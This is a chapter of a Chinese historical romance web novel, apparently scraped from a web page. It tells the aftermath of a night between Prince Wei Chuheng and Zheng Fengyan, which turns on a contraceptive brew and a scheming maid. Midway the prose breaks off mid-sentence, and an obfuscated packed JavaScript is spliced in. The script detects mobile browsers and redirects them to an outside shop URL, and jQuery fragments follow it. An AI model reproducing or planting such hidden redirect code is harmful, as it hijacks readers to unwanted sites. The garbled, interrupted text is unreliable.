郑风颜跌入柔软的被褥中,摔得晕头转向,尚未清明,那清冽好闻的气息就陡然覆上。
那人来势汹汹,唇齿被啃得生疼,不由分说地撬开贝齿,长驱直入。
她躲避不及,只能咽呜着表示不满,他一点儿都不怜香惜玉,好似跟她有仇似的,力气大得要命。
他大手拨散她的发髻,穿过密实的秀发,一把握住她后脑勺,迫仰得更狠,予他尽情取夺。
“嘶”的一声,织帛撕裂,猛然攫取,她惊慌得一抖。
卫楚珩松开她的唇,眸光幽暗得深不见底,“林韫,看着我。”
细细密密的吻落下,郑风颜将脸埋进枕间,她才不要看他这副胡作非为的样子。
夜风袭过,灯烛轻轻摇晃,青纱帐下春色旖旎。
郑风颜咬着唇,眸光破碎得不像话,卫楚珩贴在她耳边道:“唤我小九。”
“?”她瞬间睁大雾蒙蒙的眼睛。
为什么要在床笫间唤他“小九”,那可是她好姐妹的“名字”。
“不唤就不让你愉悦。”他轻轻咬住她面颊,呼着热息,言语轻佻。
“……”郑风颜恨恨地捏住被角,箭在弦上,怎有不发的道理。
见他真的停下,她憋得面色通红,手指无助地攀上他潮热的肩骨,毫无原则地唤道:“小九,小九,行了吧。”
以后说给小九听,真怕会被她笑话死。
女子柔糯又带着哑意的嗓音,缱绻无边,十分悦耳,卫楚珩胸腔微微震动,勾唇一笑,全然忘记了先前在气什么。
片刻后,卫楚珩惊讶地看着眉头紧锁、眼尾湿漉漉的郑风颜,轻柔地抚着她鬓间碎发,“阿韫,我不知道你……”
她居在东宫数日,二哥明明召过她侍寝,居然能忍住不碰她……
郑风颜没好气地转过脸去,冷哼道:“你不知道的事还多着呢。”
卫楚珩心中所有复杂情绪,瞬间都化成了怜惜,轻轻吻住她唇角,“你想要什么,我都给你。”
“我想要你快点结束!”她倒吸一口凉气,眸中红意更甚的。
“……”他原本想诱导她说要做他的妻,没想到被她反将了他一军。
良辰美景,美人在怀,他自然无法答应她这个强人所难的要求!
殿内灯烛燃尽,虫鸣尽歇,某人还不知餍足,郑风颜差点没昏死过去,原以为卫忻珞不中用,他也好不到哪里去,没想到……
求饶道:“卫,卫楚珩……你,你收手吧!”
“唤我小九。”卫楚珩抬眸看了眼纱窗里透过的青灰天色,淡道:“不着急,还有半个时辰,正好起身上朝。”
郑风颜气得想捶胸顿足,可连抬手的力气都没有……
卫楚珩起身穿衣之际,榻上女子已然昏睡过去,并非是他不懂怜惜,只是食髓知味,怎么样都不觉得够。
轻声吩咐殿外值守的兰姑姑,“待她醒后,好生伺候。”
“是是,钰王殿下请放心,没有人比我更懂要怎么伺候姑娘了。”
兰姑姑满脸笑意,突然想到什么,低声问道:“恕我多嘴,姑娘待在钰王府没名没分的,若是怀了身子,可如何是好?”
卫楚珩看了眼眸光精明的兰姑姑,自然明白她想趁机替郑风颜讨要名分,并未怪罪,“时机尚未成熟,先委屈她一段日子,至于孩子……”
眼下境况,他们之间还不能有孩子,都怪他思虑不够周全,下次该小心行事才是。
卫楚珩未明说,待他走后,兰姑姑轻声步入内殿,一看里面光景,实在忍不住腹诽两句。
这没娶过妻的男人,真是不知轻重,把人折腾得“伤痕累累”。
午间,卫楚珩下朝回来,内殿已经收拾干净,只是那女子还在昏睡。
她微微皱着眉,似乎不舒服,他掀开被子查看,原本白皙如玉的肌肤青红交错,确是他太过孟浪了。
从袖中掏出从刘太医那讨来的化淤药膏,轻轻涂抹在她肤上。
郑风颜感觉到凉意,瞬间惊醒,一看那面若冠玉的人,一本正经地坐在床榻边,宽袖一半都淹没在她衣裙里。
“你,你……”
“别乱动,我在替你上药。”
郑风颜躲闪不开,她真的好想哭,这个大混蛋,惯会欺负人。
女子满脸羞涩、眸光潋滟的样子,一如昨夜,十分动人,他忍不住又逗了她两下。
郑风颜惊叫一声,拍打着他的肩,见他依旧一脸兴味,不肯罢休,便一口咬了上去。
女子张牙舞爪的样子,更是万分可爱,卫楚珩俯身压去,眸色幽深,“阿韫,我——”
郑风颜慌忙手脚并用,拼尽全力将他推开,青天白日的,他不仅没羞没躁,还不依不饶。
“我……我真的累了,需要休息,你出去!”
紧接着她腹中传来“咕噜”声,卫楚珩失笑,收手道:“你就在榻上歇着,我让人传膳过来。”
书房里。
邱淮山看着满面春风走来的卫楚珩,不禁打趣道:“殿下昨个儿还横眉冷对,一副要毁天灭地的样子,怎么才一夜功夫,就将仇怨忘得一干二净?”
“长史倒是学起了那多嘴多舌的妇人!”
卫楚珩弹袍落座,须臾后又道:“她父亲之事与她无关,况且已经自食恶果,本王不该迁怒。”
是他一时难以接受真相,失去了理智,他不该将怒气发泄在无辜的她身上。
“那郑姑娘就这样不明不白地跟了殿下,是不是不妥?”
“公孙老头传信,父皇又准备给本王挑一门新的婚事,他本就对阿韫起了杀心,这个节骨眼上再贸然请婚,无疑是火上浇油。”
他本就一夜未睡,神思有些恍惚,思及此处,更是头疼无比,挥袖道:“长史先出去吧,本王需要歇息会儿。”
邱淮山忍不住揶揄一句:“这书房的榻又糙又硬,殿下怎么不在流光殿歇息?”
卫楚珩掀眸睨了他一眼,是他不想留在流光殿吗?还不是被人赶出来的。
那厢,郑风颜饿极,连连喝了好几碗百合鸡丝粥,才舒坦些。
朝身后收拾床褥的兰姑姑道:“姑姑,我想沐浴。”
兰姑姑两眼一骨碌,踱步到郑风跟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17911971|213147||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
前,小声道:“姑娘,要不明日再洗吧。”
“为何?”她浑身酸痛,还满是他的气息,难受得很,正想泡个热水澡舒缓下。
兰姑姑压低声音,鬼祟道:“多留些时候,更容易怀身子,等有了钰王殿下的长子,哪怕他将来娶了正妻,咱在这王府中也不怕没地位。”
郑风颜脑袋“轰”地一下炸开,面色煞白,若非她提及这个话题,她倒是忽略了。
立马起身道:“去帮我……”
眸光扫到满脸算计的兰姑姑,硬生生改口道:“劳烦姑姑去帮我准备汤浴,身上实在是不爽利。”
兰姑姑一心想要她攀附卫楚珩,怕不会用心替她办此事,她自己有避子的偏方,偷偷配来就是。
就在这时,汀雨端来一碗褐色汤汁,散发着浓郁的药味。
郑风颜蹙眉,她一向不喜欢吃药,“这是什么药?”
汀雨面色有些为难,吞吞吐吐道:“是殿下特意嘱咐府医,为姑娘配的避子药,姑娘放心,都是性温的名贵药材,不伤身子。”
郑风颜尚未有所反应,兰姑姑就气呼呼地上前去,作势要扬了那碗汤药,“钰王殿下怎么能这样!光想着占便宜,还不给人留活路。”
汀雨赶紧抬手护住汤药,“兰姑姑,这可是府医熬了好几个时辰的药,你怎么能违抗殿下的命令?”
兰姑姑竖起眉毛道:“这可不就是翻脸不认帐,我们姑娘不喝!”
汀雨也来了脾气,直言不讳道:“兰姑姑,你也是宫里的老人了,该是知道,没有名分且算不上侍妾的女子,在正妻入府前,是不允许怀身子的。”
“你……”兰姑姑气焰一下子低了下去,她怎会不知,只是以为钰王殿下会和别的公子王孙不一样,没想到这天子男子一般薄幸。
刚想转身安慰郑风颜,却见她正捧着那药碗咕噜直咽,一会儿就见了底,哎,又是个不争气的……
郑风颜虽喝得痛快,心中却有股难以言说的酸涩感,她不想怀他的孩子,和他不想要她怀孩子,完全是两码事。
如果他真的喜欢她,又怎么会不喜欢她生的孩子?
汀雨讪讪收回碗,“姑娘对不住,我只是一时心直口快,并非有意伤人。殿下待你之心,府中人人皆知,从不敢怠慢姑娘,今后……”
郑风颜牵强地笑了笑,抬手止住她后面的话,“我没事,你且拿着空碗去复命吧。”
兰姑姑抿嘴,还说没事,笑得多难看,说出的话也是酸溜溜的。
郑风颜打发走汀雨,前往泽云殿泡热汤。
雾气氤氲,温热的水漫过身子,舒坦了好多。
身上留下的斑驳痕迹,无一不在提醒她,昨夜那人有多放肆,早知会如此疲累,就该给他配一副去兴的药。
亏她以前还觉得他和卫忻珞一样,在他“大婚”时诚心送出一副好药,他倒好,估计是记仇了,全都狠狠报复了回来。
郑风颜阖着眸子叹息,让她没想到的是,本是你情我愿的事,结果会闹出这一连串令人难堪的后续。
看来这种事一次就够了,钰王府也不可久留。